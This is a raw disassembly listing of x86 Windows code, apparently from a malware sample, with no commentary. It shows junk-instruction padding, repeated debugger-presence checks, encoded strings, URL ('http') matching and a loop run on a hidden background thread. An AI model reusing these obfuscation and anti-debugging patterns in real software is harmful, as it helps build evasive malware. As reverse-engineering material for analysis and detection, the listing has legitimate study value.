		mov	ebx, eax
		lea	edi, [ebp+var_526A9]
		lea	esi, byte_4413BB
		xor	ecx, ecx
		inc	ecx
		rep movsb
		or	ebx, ebx
		jz	short loc_40724E
		lea	edi, [ebp+var_526B8]
		lea	esi, a854	; "^85/4=|"
		movsd
		movsd
		mov	eax, [ebp+var_52614]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_526B0], 97Dh
		inc	[ebp+var_526B0]
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_407979
; ---------------------------------------------------------------------------

loc_40724E:				; CODE XREF: sub_406E2B+303j
					; sub_406E2B+3E6j
		lea	eax, [ebp+var_525EC]
		push	eax
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407E8E
		and	[ebp+var_21784], 0
		jmp	loc_407967
; ---------------------------------------------------------------------------

loc_407277:				; CODE XREF: sub_406E2B+B48j
		mov	[ebp+var_627C0], 0B8h
		add	[ebp+var_627C0], 1
		push	0
		call	sub_40C9B8
		pop	ecx
		call	sub_40C5A4	; GetVersion
		mov	[ebp+var_626B8], 2
		mov	eax, [ebp+var_21784]
		mov	[ebp+var_626B0], eax
		lea	eax, [ebp+var_626A4]
		push	eax
		lea	esi, [ebp+var_626B8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_626B8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_525E4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	ax, word_4413C4
		mov	[ebp+var_627CC], ax
		or	ebx, ebx
		jnz	loc_407961
		call	sub_40C508	; GetCurrentProcessId
		and	[ebp+var_626BC], 0
		lea	eax, [ebp+var_626BC]
		push	eax
		push	offset dword_446BB4
		mov	eax, [ebp+var_626A4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	sub_40C634	; IsDebuggerPresent
		or	ebx, ebx
		jnz	loc_407683
		call	sub_40C634	; IsDebuggerPresent
		lea	eax, [ebp+var_626C0]
		push	eax
		mov	eax, [ebp+var_626BC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	[ebp+var_627C2], 7A7Ch
		movzx	eax, [ebp+var_627C2]
		imul	eax, 2CBEh
		mov	[ebp+var_627C2], ax
		or	ebx, ebx
		jnz	loc_407683
		call	sub_40C634	; IsDebuggerPresent
		lea	eax, [ebp+var_62687]
		push	eax
		push	[ebp+var_626C0]
		call	sub_40692E
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_6269C], edi
		lea	edi, [ebp+var_627D3]
		lea	esi, aWUn@	; " w*UN@"
		mov	ecx, 7
		rep movsb
		and	[ebp+var_52684], 0
		jmp	short loc_4073D6
; ---------------------------------------------------------------------------

loc_4073AD:				; CODE XREF: sub_406E2B+5B7j
		mov	eax, [ebp+var_52684]
		mov	al, [ebp+eax+var_62687]
		cmp	al, 0Dh
		jz	short loc_4073C2
		cmp	al, 0Ah
		jnz	short loc_4073D0

loc_4073C2:				; CODE XREF: sub_406E2B+591j
		mov	eax, [ebp+var_52684]
		mov	[ebp+eax+var_62687], 0

loc_4073D0:				; CODE XREF: sub_406E2B+595j
		inc	[ebp+var_52684]

loc_4073D6:				; CODE XREF: sub_406E2B+580j
		mov	eax, [ebp+var_6269C]
		cmp	[ebp+var_52684], eax
		jb	short loc_4073AD
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_407441
		mov	[ebp+var_627E0], 1CC7h
		movzx	eax, [ebp+var_627E0]
		imul	eax, 5DEDh
		mov	[ebp+var_627E0], ax
		push	11h
		push	offset aAmdgKLvA ; "Ѡȵ"
		call	sub_406D88
		push	[ebp+var_21784]
		push	eax
		lea	edi, [ebp+var_627BF]
		push	edi
		call	sub_40CA30
		lea	eax, [ebp+var_627BF]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CA54
		add	esp, 1Ch
		jmp	short loc_4074AB
; ---------------------------------------------------------------------------

loc_407441:				; CODE XREF: sub_406E2B+5C0j
		mov	ax, word_4413CD
		mov	word ptr [ebp+var_627E4], ax
		push	13h
		push	offset aLMaiLvA	; "ѫȵȵ"
		call	sub_406D88
		push	[ebp+var_21784]
		push	[ebp+var_524CC]
		push	eax
		lea	edi, [ebp+var_627BF]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_627E0], 4C50h
		add	[ebp+var_627E0], 6D23h
		lea	eax, [ebp+var_627BF]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CA54
		add	esp, 20h
		mov	word ptr [ebp+var_627E4+2], 322Ah
		inc	word ptr [ebp+var_627E4+2]

loc_4074AB:				; CODE XREF: sub_406E2B+614j
		and	[ebp+var_52684], 0

loc_4074B2:				; CODE XREF: sub_406E2B+76Bj
		mov	eax, [ebp+var_52684]
		lea	ecx, [ebp+eax+var_62687]
		or	eax, 0FFFFFFFFh

loc_4074C2:				; CODE XREF: sub_406E2B+69Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4074C2
		mov	[ebp+var_62690], eax
		mov	[ebp+var_627C3], 84h
		add	[ebp+var_627C3], 1
		mov	eax, [ebp+var_62690]
		cmp	eax, 0
		jz	short loc_4074EF
		cmp	eax, 0C8h
		jbe	short loc_4074F4

loc_4074EF:				; CODE XREF: sub_406E2B+6BBj
		jmp	loc_40757D
; ---------------------------------------------------------------------------

loc_4074F4:				; CODE XREF: sub_406E2B+6C2j
		lea	edi, [ebp+var_627DA]
		lea	esi, aGAkux	; ";AKuX"
		mov	ecx, 7
		rep movsb
		cmp	[ebp+var_62690], 1
		jnz	short loc_407520
		mov	eax, [ebp+var_52684]
		cmp	[ebp+eax+var_62687], 20h
		jz	short loc_40757D

loc_407520:				; CODE XREF: sub_406E2B+6E3j
		call	sub_40C598	; GetTickCount
		push	1
		push	offset aS_0	; ""
		call	sub_406D88
		push	eax
		lea	edi, [ebp+var_10001]
		push	edi
		call	sub_40CA54
		mov	[ebp+var_627C4], 0A6h
		add	[ebp+var_627C4], 0B3h
		mov	eax, [ebp+var_52684]
		lea	eax, [ebp+eax+var_62687]
		push	eax
		lea	eax, [ebp+var_10001]
		push	eax
		call	sub_40CA54
		add	esp, 18h
		mov	[ebp+var_627C8], 61DCh
		sub	[ebp+var_627C8], 2883h

loc_40757D:				; CODE XREF: sub_406E2B:loc_4074EFj
					; sub_406E2B+6F3j
		mov	eax, [ebp+var_62690]
		inc	eax
		add	[ebp+var_52684], eax
		mov	eax, [ebp+var_6269C]
		cmp	[ebp+var_52684], eax
		jb	loc_4074B2
		and	[ebp+var_62698], 0
		lea	ecx, [ebp+var_10001]
		or	eax, 0FFFFFFFFh

loc_4075AC:				; CODE XREF: sub_406E2B+786j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4075AC
		mov	[ebp+var_62690], eax
		call	sub_40C634	; IsDebuggerPresent
		mov	[ebp+var_52684], 0
		jmp	loc_407663
; ---------------------------------------------------------------------------

loc_4075CD:				; CODE XREF: sub_406E2B+844j
		lea	edi, [ebp+var_627E4+1]
		lea	esi, aEW	; " E~^W"
		mov	ecx, 3
		rep movsw
		mov	eax, [ebp+var_52684]
		cmp	[ebp+eax+var_10001], 20h
		jz	short loc_4075F8
		and	[ebp+var_6268C], 0

loc_4075F8:				; CODE XREF: sub_406E2B+7C4j
		call	sub_40C508	; GetCurrentProcessId
		cmp	[ebp+var_6268C], 0
		jnz	short loc_407630
		call	sub_40C5A4	; GetVersion
		mov	eax, [ebp+var_62698]
		mov	edx, [ebp+var_52684]
		mov	dl, [ebp+edx+var_10001]
		mov	[ebp+eax+var_10001], dl
		call	sub_40C508	; GetCurrentProcessId
		inc	[ebp+var_62698]

loc_407630:				; CODE XREF: sub_406E2B+7D9j
		mov	eax, [ebp+var_52684]
		cmp	[ebp+eax+var_10001], 20h
		jnz	short loc_40764A
		mov	[ebp+var_6268C], 1

loc_40764A:				; CODE XREF: sub_406E2B+813j
		lea	edi, [ebp+var_627E8]
		lea	esi, aUD	; "u;D "
		mov	ecx, 5
		rep movsb
		inc	[ebp+var_52684]

loc_407663:				; CODE XREF: sub_406E2B+79Dj
		mov	eax, [ebp+var_62690]
		cmp	[ebp+var_52684], eax
		jb	loc_4075CD
		mov	eax, [ebp+var_62698]
		mov	[ebp+eax+var_10001], 0

loc_407683:				; CODE XREF: sub_406E2B+4FBj
					; sub_406E2B+53Dj
		and	[ebp+var_62694], 0
		lea	eax, [ebp+var_62694]
		push	eax
		push	offset dword_446BC4
		mov	eax, [ebp+var_626A4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407947
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_626A0]
		push	eax
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		call	sub_40C508	; GetCurrentProcessId
		or	ebx, ebx
		jnz	loc_40792D
		lea	edi, [ebp+var_627DD]
		lea	esi, asc_4413E1	; "=="
		mov	ecx, 3
		rep movsb
		and	[ebp+var_52688], 0
		jmp	loc_407909
; ---------------------------------------------------------------------------

loc_4076F6:				; CODE XREF: sub_406E2B+AEAj
		call	sub_40C514	; GetCurrentThreadId
		push	0
		call	sub_40C9B8
		pop	ecx
		call	sub_40C5A4	; GetVersion
		mov	[ebp+var_627F8], 2
		mov	eax, [ebp+var_52688]
		mov	[ebp+var_627F0], eax
		lea	eax, [ebp+var_627E8]
		push	eax
		lea	esi, [ebp+var_627F8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_627F8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_62694]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407903
		mov	[ebp+var_6280D], 0Fh
		add	[ebp+var_6280D], 1
		and	[ebp+var_627E4], 0
		lea	eax, [ebp+var_627E4]
		push	eax
		push	offset dword_446BB4
		mov	eax, [ebp+var_627E8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_4078C6
		lea	edi, [ebp+var_62813]
		lea	esi, aT6rr	; "T6Rr"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_627E4], 0
		jz	loc_4078C6
		mov	[ebp+var_6280E], 85h
		add	[ebp+var_6280E], 1
		lea	eax, [ebp+var_62808]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		mov	eax, [ebp+var_627E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_4413E9
		mov	[ebp+var_62818+1], eax
		or	ebx, ebx
		jnz	loc_4078C6
		call	sub_40C514	; GetCurrentThreadId
		cmp	[ebp+var_62808], 8
		jnz	loc_4078C6
		call	sub_40C514	; GetCurrentThreadId
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_627E4]
		mov	[ebp+edi*4+var_10FA4], esi
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_52688]
		mov	[ebp+edi*2+var_1177C], si
		lea	eax, [ebp+var_62808]
		push	eax
		push	0
		push	[ebp+var_10FAC]
		mov	eax, [ebp+var_627E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4078C2
		call	sub_40C538	; RtlGetLastWin32Error
		lea	edi, [ebp+var_63822]
		lea	esi, aFA	; ",F`>a"
		mov	ecx, 3
		rep movsw
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_63816]
		push	eax
		push	[ebp+var_62800]
		call	sub_40692E
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_6381C], edi
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+var_63816], 0
		jz	short loc_4078BD
		cmp	edi, 64h
		jnb	short loc_4078BD
		lea	eax, [ebp+var_63816]
		push	eax
		movzx	eax, [ebp+var_2]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		call	sub_40C4B8

loc_4078BD:				; CODE XREF: sub_406E2B+A70j
					; sub_406E2B+A75j
		call	sub_40C634	; IsDebuggerPresent

loc_4078C2:				; CODE XREF: sub_406E2B+A26j
		inc	[ebp+var_2]

loc_4078C6:				; CODE XREF: sub_406E2B+968j
					; sub_406E2B+988j ...
		cmp	[ebp+var_627E4], 0
		jz	short $+2
		call	sub_40C514	; GetCurrentThreadId
		cmp	[ebp+var_627E8], 0
		jz	short loc_4078E9
		mov	eax, [ebp+var_627E8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_4078E9:				; CODE XREF: sub_406E2B+AB0j
		mov	[ebp+var_6280C], 6832h
		mov	eax, [ebp+var_6280C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_6280C], edx

loc_407903:				; CODE XREF: sub_406E2B+92Dj
		inc	[ebp+var_52688]

loc_407909:				; CODE XREF: sub_406E2B+8C6j
		mov	eax, [ebp+var_626A0]
		cmp	[ebp+var_52688], eax
		jb	loc_4076F6
		jmp	short loc_407961
; ---------------------------------------------------------------------------
		mov	[ebp+var_627CA], 3C6Eh
		inc	[ebp+var_627CA]

loc_40792D:				; CODE XREF: sub_406E2B+8A6j
		cmp	[ebp+var_62694], 0
		jz	short loc_407942
		mov	eax, [ebp+var_62694]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407942:				; CODE XREF: sub_406E2B+B09j
		call	sub_40C634	; IsDebuggerPresent

loc_407947:				; CODE XREF: sub_406E2B+87Fj
		cmp	[ebp+var_626A4], 0
		jz	short loc_40795C
		mov	eax, [ebp+var_626A4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_40795C:				; CODE XREF: sub_406E2B+B23j
		call	sub_40C514	; GetCurrentThreadId

loc_407961:				; CODE XREF: sub_406E2B+4C4j
					; sub_406E2B+AF0j
		inc	[ebp+var_21784]

loc_407967:				; CODE XREF: sub_406E2B+447j
		mov	eax, [ebp+var_525EC]
		cmp	[ebp+var_21784], eax
		jb	loc_407277

loc_407979:				; CODE XREF: sub_406E2B+2F8j
					; sub_406E2B+370j ...
		call	sub_40C508	; GetCurrentProcessId
		inc	[ebp+var_524CC]
		mov	eax, [ebp+var_52640]
		cmp	[ebp+var_524CC], eax
		jl	loc_4070DC
		lea	edi, [ebp+var_52668]
		lea	esi, byte_4413F3
		xor	ecx, ecx
		inc	ecx
		rep movsb

loc_4079A7:				; CODE XREF: sub_406E2B+CB6j
		push	0
		call	sub_40C9B8
		pop	ecx
		call	sub_40C5A4	; GetVersion
		mov	[ebp+var_21786], 0
		jmp	loc_407A91
; ---------------------------------------------------------------------------

loc_4079C2:				; CODE XREF: sub_406E2B+C73j
		call	sub_40C538	; RtlGetLastWin32Error
		lea	eax, [ebp+var_524E0]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		movzx	edi, [ebp+var_21786]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		lea	edi, [ebp+var_62690+1]
		lea	esi, aBmiJ	; "MI ~j"
		mov	ecx, 7
		rep movsb
		or	ebx, ebx
		jnz	loc_407A8A
		lea	edi, [ebp+var_62698+2]
		lea	esi, aVsbag0	; "SAg0"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_6267F]
		push	eax
		push	[ebp+var_524D8]
		call	sub_40692E
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp-62688h], edi
		call	sub_40C574	; GetProcessHeap
		cmp	[ebp+var_6267F], 0
		jz	short loc_407A8A
		mov	[ebp+var_62682], 4C04h
		movzx	eax, [ebp+var_62682]
		imul	eax, 0D94h
		mov	[ebp+var_62682], ax
		cmp	dword ptr [ebp-62688h],	64h
		jnb	short loc_407A8A
		lea	eax, [ebp+var_6267F]
		push	eax
		movzx	eax, [ebp+var_21786]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		call	sub_40C4B8

loc_407A8A:				; CODE XREF: sub_406E2B+BD6j
					; sub_406E2B+C19j ...
		inc	[ebp+var_21786]

loc_407A91:				; CODE XREF: sub_406E2B+B92j
		movzx	eax, [ebp+var_21786]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_4079C2
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_441354
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_52628], 0AD1h
		add	[ebp+var_52628], 0D59h
		or	ebx, ebx
		jnz	loc_407F0E
		call	sub_40C574	; GetProcessHeap
		cmp	[ebp+var_525FE], 0
		jz	loc_4079A7
		lea	edi, [ebp+var_52669]
		lea	esi, byte_441402
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	[ebp+var_2177D], 0
		push	offset byte_41EB90
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C4B8
		mov	[ebp+var_5260E], 164Dh
		movzx	eax, [ebp+var_5260E]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5260E], ax
		mov	[ebp+var_525E8], 1
		mov	[ebp+var_1177E], 0
		jmp	loc_407C46
; ---------------------------------------------------------------------------

loc_407B45:				; CODE XREF: sub_406E2B+E28j
		mov	word ptr [ebp+var_52684+2], 712h
		movzx	eax, word ptr [ebp+var_52684+2]
		imul	eax, 568Ah
		mov	word ptr [ebp+var_52684+2], ax
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		cmp	[ebp+eax+var_524C8], 0
		jz	loc_407C3F
		mov	ax, word_441403
		mov	word ptr [ebp+var_52688+2], ax
		and	[ebp+var_525E8], 0
		push	4
		push	offset asc_445FAA ; "ȵ"
		call	sub_406D88
		movzx	edi, [ebp+var_1177E]
		push	edi
		push	eax
		lea	edi, [ebp+var_525DF]
		push	edi
		call	sub_40CA30
		mov	eax, dword_441405
		mov	[ebp-5268Ah], eax
		lea	eax, [ebp+var_525DF]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CA54
		mov	word ptr [ebp+var_52684], 0F32h
		inc	word ptr [ebp+var_52684]
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CA54
		call	sub_40C598	; GetTickCount
		push	1
		push	offset asc_445FA8 ; ""
		call	sub_406D88
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40CA54
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CA54
		add	esp, 3Ch
		call	sub_40C538	; RtlGetLastWin32Error

loc_407C3F:				; CODE XREF: sub_406E2B+D49j
		inc	[ebp+var_1177E]

loc_407C46:				; CODE XREF: sub_406E2B+D15j
		movzx	eax, [ebp+var_1177E]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_407B45
		cmp	[ebp+var_525E8], 0
		jnz	loc_407E8E
		call	sub_40C634	; IsDebuggerPresent
		push	1
		push	offset asc_445FA6 ; ""
		call	sub_406D88
		push	eax
		lea	edi, [ebp+var_2177D]
		push	edi
		call	sub_40CA54
		call	sub_40C634	; IsDebuggerPresent
		lea	eax, [ebp+var_10001]
		push	eax
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40CA54
		add	esp, 18h
		cmp	ds:byte_41EB90,	68h
		jnz	short loc_407CC3
		cmp	ds:byte_41EB91,	74h
		jnz	short loc_407CC3
		cmp	ds:byte_41EB92,	74h
		jnz	short loc_407CC3
		cmp	ds:byte_41EB93,	70h
		jz	short loc_407CC8

loc_407CC3:				; CODE XREF: sub_406E2B+E7Bj
					; sub_406E2B+E84j ...
		jmp	loc_407E43
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_406E2B+E96j
		lea	edi, [ebp+var_5266F]
		lea	esi, aSHt	; "S ht|"
		mov	ecx, 3
		rep movsw
		push	8
		push	offset aKvvkbi	; "Ê"
		call	sub_406D88
		mov	edi, 11h
		sub	edi, dword_441380
		push	edi
		push	eax
		push	offset byte_41EB90
		call	sub_401806
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_407D3A
		push	0Eh
		push	offset aKvvkbiMiMqi ; "ÊÌ"
		call	sub_406D88
		mov	edi, 11h
		sub	edi, dword_441380
		push	edi
		push	eax
		push	offset byte_41EB90
		call	sub_401806
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	loc_407E43

loc_407D3A:				; CODE XREF: sub_406E2B+EDCj
		mov	[ebp+var_5262A], 0E36h
		movzx	eax, [ebp+var_5262A]
		imul	eax, 5F1Ah
		mov	[ebp+var_5262A], ax
		mov	[ebp+var_525EE], 0

loc_407D60:				; CODE XREF: sub_406E2B+FE4j
		mov	eax, 11h
		sub	eax, dword_441380
		push	eax
		movzx	eax, [ebp+var_525EE]
		lea	eax, ds:44138Ch[eax]
		push	eax
		push	offset byte_41EB90
		call	sub_401806
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_407DBC
		call	sub_40C574	; GetProcessHeap
		push	1
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F270
		mov	[ebp+var_52684], 5D23h
		sub	[ebp+var_52684], 3A68h
		jmp	loc_407E43
; ---------------------------------------------------------------------------

loc_407DBC:				; CODE XREF: sub_406E2B+F62j
		movzx	eax, [ebp+var_525EE]
		mov	[ebp+var_52684], eax
		lea	ecx, ds:44138Ch[eax]
		or	eax, 0FFFFFFFFh

loc_407DD3:				; CODE XREF: sub_406E2B+FADj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407DD3
		mov	esi, [ebp+var_52684]
		add	esi, eax
		mov	edi, esi
		mov	[ebp+var_525EE], di
		mov	[ebp+var_5262B], 0EFh
		add	[ebp+var_5262B], 52h
		inc	[ebp+var_525EE]
		movzx	eax, [ebp+var_525EE]
		cmp	byte_44138C[eax], 0
		jnz	loc_407D60
		call	sub_40C5A4	; GetVersion
		push	0
		lea	eax, [ebp+var_2177D]
		push	eax
		call	ds:dword_40F270
		mov	[ebp+var_5260F], 20h
		movzx	eax, [ebp+var_5260F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5260F], al

loc_407E43:				; CODE XREF: sub_406E2B:loc_407CC3j
					; sub_406E2B+F09j ...
		mov	[ebp+var_21788], 0
		jmp	short loc_407E7A
; ---------------------------------------------------------------------------

loc_407E4E:				; CODE XREF: sub_406E2B+105Cj
		movzx	edi, [ebp+var_21788]
		cmp	[ebp+edi*4+var_10FA4], 0
		jz	short loc_407E73
		movzx	edi, [ebp+var_21788]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+8]

loc_407E73:				; CODE XREF: sub_406E2B+1032j
		inc	[ebp+var_21788]

loc_407E7A:				; CODE XREF: sub_406E2B+1021j
		movzx	eax, [ebp+var_21788]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_407E4E
		call	sub_40C574	; GetProcessHeap

loc_407E8E:				; CODE XREF: sub_406E2B+43Aj
					; sub_406E2B+E35j
		cmp	[ebp+var_525E4], 0
		jz	short loc_407EA3
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407EA3:				; CODE XREF: sub_406E2B+106Aj
		lea	edi, [ebp+var_52674]
		lea	esi, aWG	; "W ^"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_52614], 0
		jz	short loc_407ECB
		mov	eax, [ebp+var_52614]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407ECB:				; CODE XREF: sub_406E2B+1092j
		lea	edi, [ebp+var_5267A]
		lea	esi, aDXN	; "d:x`n"
		mov	ecx, 3
		rep movsw
		cmp	[ebp+var_5260C], 0
		jz	short loc_407EF4
		mov	eax, [ebp+var_5260C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407EF4:				; CODE XREF: sub_406E2B+287j
					; sub_406E2B+10BBj
		cmp	[ebp+var_52604], 0
		jz	short loc_407F09
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407F09:				; CODE XREF: sub_406E2B+10D0j
		call	sub_40C538	; RtlGetLastWin32Error

loc_407F0E:				; CODE XREF: sub_406E2B+176j
					; sub_406E2B+1DBj ...
		cmp	[ebp+var_525F8], 0
		jz	short loc_407F23
		mov	eax, [ebp+var_525F8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_407F23:				; CODE XREF: sub_406E2B+10EAj
		mov	[ebp+var_52630], 52EFh
		mov	eax, 3A5Eh
		mul	[ebp+var_52630]
		mov	[ebp+var_52688], eax
		mov	[ebp+var_52630], eax

loc_407F44:				; CODE XREF: sub_406E2B+155j
		cmp	[ebp+var_525F4], 0
		jz	loc_406E95
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_406E95
; ---------------------------------------------------------------------------

loc_407F62:				; CODE XREF: sub_406E2B+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F67	proc near		; DATA XREF: sub_40801C+2Fo

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset word_44141A
		push	offset sub_40109A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	sub_40C5A4	; GetVersion
		mov	[ebp+var_4], 0
		call	sub_40C538	; RtlGetLastWin32Error

loc_407F9E:				; CODE XREF: sub_407F67+7Aj
					; sub_407F67+9Aj
		call	sub_40C634	; IsDebuggerPresent
		mov	edi, dword_44137C
		add	edi, 1F3h
		push	edi
		call	sub_40C9B8
		add	esp, 4
		call	sub_40C5A4	; GetVersion
		call	sub_406E2B
		mov	[ebp+var_1C], 6E5Bh
		mov	eax, 6540h
		mul	[ebp+var_1C]
		mov	[ebp+var_20], eax
		mov	edi, [ebp+var_20]
		mov	[ebp+var_1C], edi
		cmp	dword_441388, 0
		jnz	short loc_407F9E
		jmp	short loc_40800A
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40800A
; ---------------------------------------------------------------------------
		mov	[ebp+var_1C], 1
		mov	eax, [ebp+var_1C]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_40C5A4	; GetVersion
		jmp	short loc_407F9E
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh

loc_40800A:				; CODE XREF: sub_407F67+7Cj
					; sub_407F67+85j
		pop	edi
		pop	esi
		pop	ebx
		xchg	eax, ecx
		mov	eax, [ebp+var_10]
		mov	large fs:0, eax
		xchg	eax, ecx
		leave
		retn	4
sub_407F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40801C	proc near		; CODE XREF: sub_40A766+7F2p

var_9		= byte ptr -9
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_9]
		lea	esi, aB2U	; "2 U	 "
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_0]
		mov	ds:dword_40F270, eax
		call	sub_40C598	; GetTickCount
		push	offset dword_441388
		push	0
		push	0
		push	offset sub_407F67
		push	0
		push	0
		call	sub_40C754	; CreateThread
		mov	ebx, eax
		mov	[ebp+var_1], 0EEh
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	[ebp+var_2], 5
		sub	[ebp+var_2], 0F2h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40801C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, 5B3h
		inc	edi
		cmp	dword_441354, 0
		jnz	short loc_408097
		xor	eax, eax
		jmp	short loc_4080DD
; ---------------------------------------------------------------------------

loc_408097:				; CODE XREF: .text:00408091j
		mov	byte ptr [ebp-1], 16h
		add	byte ptr [ebp-1], 1
		mov	eax, ds:dword_42EB94
		cmp	[ebp+8], eax
		jz	short loc_4080AD
		xor	eax, eax
		jmp	short loc_4080DD
; ---------------------------------------------------------------------------

loc_4080AD:				; CODE XREF: .text:004080A7j
		call	sub_40C574	; GetProcessHeap
		lea	ecx, byte_41EB90
		or	eax, 0FFFFFFFFh

